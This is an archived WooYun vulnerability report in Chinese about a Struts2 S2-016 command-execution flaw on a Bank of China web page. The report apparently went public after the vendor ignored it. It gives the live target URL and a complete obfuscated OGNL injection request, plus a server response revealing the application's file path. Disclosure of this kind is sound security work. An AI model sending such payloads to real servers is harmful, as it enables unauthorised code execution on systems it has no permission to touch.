中国银行某站存在struts2命令执行漏洞

编号222920
Urlhttp://www.wooyun.org/bug.php?action=view&id=222920
漏洞状态漏洞已经通知厂商但是厂商忽略漏洞
漏洞标题中国银行某站存在struts2命令执行漏洞
漏洞类型命令执行
厂商中国银行
白帽子路人甲
提交日期2016-06-24 22:49:00
公开日期2016-06-30 02:25:00
修复时间(not set)
确认时间0000-00-00 00:00:00
Confirm Spend-1
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank15
厂商评级
厂商评rank0
漏洞简介
rt
漏洞细节

rt

POC

https://jf365.boc.cn/BOCGIFTORDERNET/defaultIndex.do


QQ截图20160624221948.jpg


QQ截图20160624221236.jpg


存在S2-016命令执行漏洞

POST /BOCGIFTORDERNET/defaultIndex.do HTTP/1.1
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (baidu spider)
Host: jf365.boc.cn
Cookie:
Content-Type: multipart/form-data; boundary=------------------------4a606c052a893987
Content-Length: 566
--------------------------4a606c052a893987
Content-Disposition: form-data; name="redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().print("web"),#resp.getWriter().print("path:"),#resp.getWriter().print(#req.getSession().getServletContext().getRealPath("/")),#resp.getWriter().flush(),#resp.getWriter().close()}"
-1
--------------------------4a606c052a893987--
TTP/1.1 200 OK
Date: Fri, 24 Jun 2016 14:17:24 GMT
X-Powered-By: Servlet/3.0
Set-Cookie: JSESSIONID=00001VXd-hGv_3A9iBJ7aBZADrE:1ad27visj; Path=/; HttpOnly
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Keep-Alive: timeout=1
Connection: Keep-Alive
Content-Language: zh-CN
Content-Length: 84
webpath:/websphere/IBM/WebSphere/BOCapps/BOCGIFTORDERNET_war.ear/BOCGIFTORDERNET.war


QQ截图20160624221326.jpg


QQ截图20160624221438.jpg


QQ截图20160624221506.jpg


QQ截图20160624221556.jpg

修复方案

升级

状态信息 2016-06-24: 细节已通知厂商并且等待厂商处理中
2016-06-24: 厂商已查看当前漏洞内容,细节仅向厂商公开
2016-06-30: 厂商已经主动忽略漏洞,细节向公众公开
厂商回复None漏洞Rank:15 (WooYun评价)
回应信息危害等级:无影响厂商忽略忽略时间:2016-06-30 02:25
Showing 1-2 of 2 items.
评论内容评论人点赞数评论时间

st2容易玩坏,需谨慎,哈哈

大师兄02016-06-25 10:15:00

微信第三方

Martial02016-06-25 00:24:00